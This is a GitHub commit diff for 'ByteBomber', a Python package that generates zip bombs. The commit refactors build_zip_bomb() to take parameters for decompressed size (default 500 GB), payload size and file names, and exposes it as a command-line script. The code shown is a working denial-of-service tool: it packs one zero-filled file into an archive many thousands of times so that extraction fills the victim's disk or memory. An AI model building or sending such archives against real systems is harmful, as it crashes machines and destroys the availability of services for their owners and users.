Skip to content

Commit 8003203

Browse files
Merge pull request #15 from luckalgorithm/package
Package code updates
2 parents c21a023 + 323680c commit 8003203

File tree

3 files changed

+26
-15
lines changed

3 files changed

+26
-15
lines changed

.gitignore

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,2 +1,3 @@
11
/dist/
22
/*.egg-info/
3+
tests/

bytebomber/__main__.py

Lines changed: 24 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -29,21 +29,30 @@ def get_bytes(amount_str):
2929
except:
3030
raise ValueError("Format: <number> <unit>, e.g., 1 PB or 500 GB")
3131

32-
def build_zip_bomb():
33-
target_input = input("Bomb decompressed size: ") or "500 GB"
34-
payload_input = input("Payload file size: ") or "1 MB"
35-
zip_name = input("Output zip name: ") or "bomb.zip"
36-
folder_name = input("Bomb directory name: ") or "bomb-dir"
32+
def build_zip_bomb(
33+
target_input=None,
34+
payload_input=None,
35+
zip_name=None,
36+
folder_name=None,
37+
verbose=True,
38+
show_progress=True
39+
):
40+
target_input = target_input or input("Bomb decompressed size: ") or "500 GB"
41+
payload_input = payload_input or input("Payload file size: ") or "1 MB"
42+
zip_name = zip_name or input("Output zip name: ") or "bomb.zip"
43+
folder_name = folder_name or input("Bomb directory name: ") or "bomb-dir"
3744

3845
PAYLOAD_NAME = "payload.txt"
3946
DECOMPRESSED_TOTAL = get_bytes(target_input)
4047
PAYLOAD_SIZE = get_bytes(payload_input)
4148
REPEATS = DECOMPRESSED_TOTAL // PAYLOAD_SIZE
42-
print(f"\n Creating ZIP bomb:\n")
43-
print(f" Payload size: {PAYLOAD_SIZE} bytes")
44-
print(f" Total uncompressed: {DECOMPRESSED_TOTAL} bytes")
45-
print(f" File count: {REPEATS}")
46-
print(f" Output: {zip_name}\n")
49+
50+
if verbose:
51+
print(f"\n Creating ZIP bomb:\n")
52+
print(f" Payload size: {PAYLOAD_SIZE} bytes")
53+
print(f" Total uncompressed: {DECOMPRESSED_TOTAL} bytes")
54+
print(f" File count: {REPEATS}")
55+
print(f" Output: {zip_name}\n")
4756

4857
with open(PAYLOAD_NAME, "wb") as f:
4958
f.write(b'\0' * PAYLOAD_SIZE)
@@ -52,10 +61,13 @@ def build_zip_bomb():
5261
for i in range(REPEATS):
5362
arcname = f"{folder_name}/{i}.txt"
5463
zf.write(PAYLOAD_NAME, arcname)
55-
progress_bar(i + 1, REPEATS)
64+
if show_progress:
65+
progress_bar(i + 1, REPEATS)
5666

5767
os.remove(PAYLOAD_NAME)
58-
print(f"\n\nCreated zip bomb: {zip_name}")
68+
69+
if verbose:
70+
print(f"\n\nCreated zip bomb: {zip_name}")
5971

6072
if __name__ == "__main__":
6173
main()

pyproject.toml

Lines changed: 1 addition & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -23,10 +23,8 @@ classifiers = [
2323
dependencies = []
2424

2525
[project.urls]
26-
Homepage = "https://github.com/luckalgorithm/ByteBomber"
27-
Documentation = "https://luckalgorithm.github.io/ByteBomber"
2826
Source = "https://github.com/luckalgorithm/ByteBomber"
29-
IssueTracker = "https://github.com/luckalgorithm/ByteBomber/issues"
27+
Documentation = "https://luckalgorithm.github.io/ByteBomber"
3028

3129
[project.scripts]
3230
bytebomber = "bytebomber.__main__:build_zip_bomb"

0 commit comments

Comments
 (0)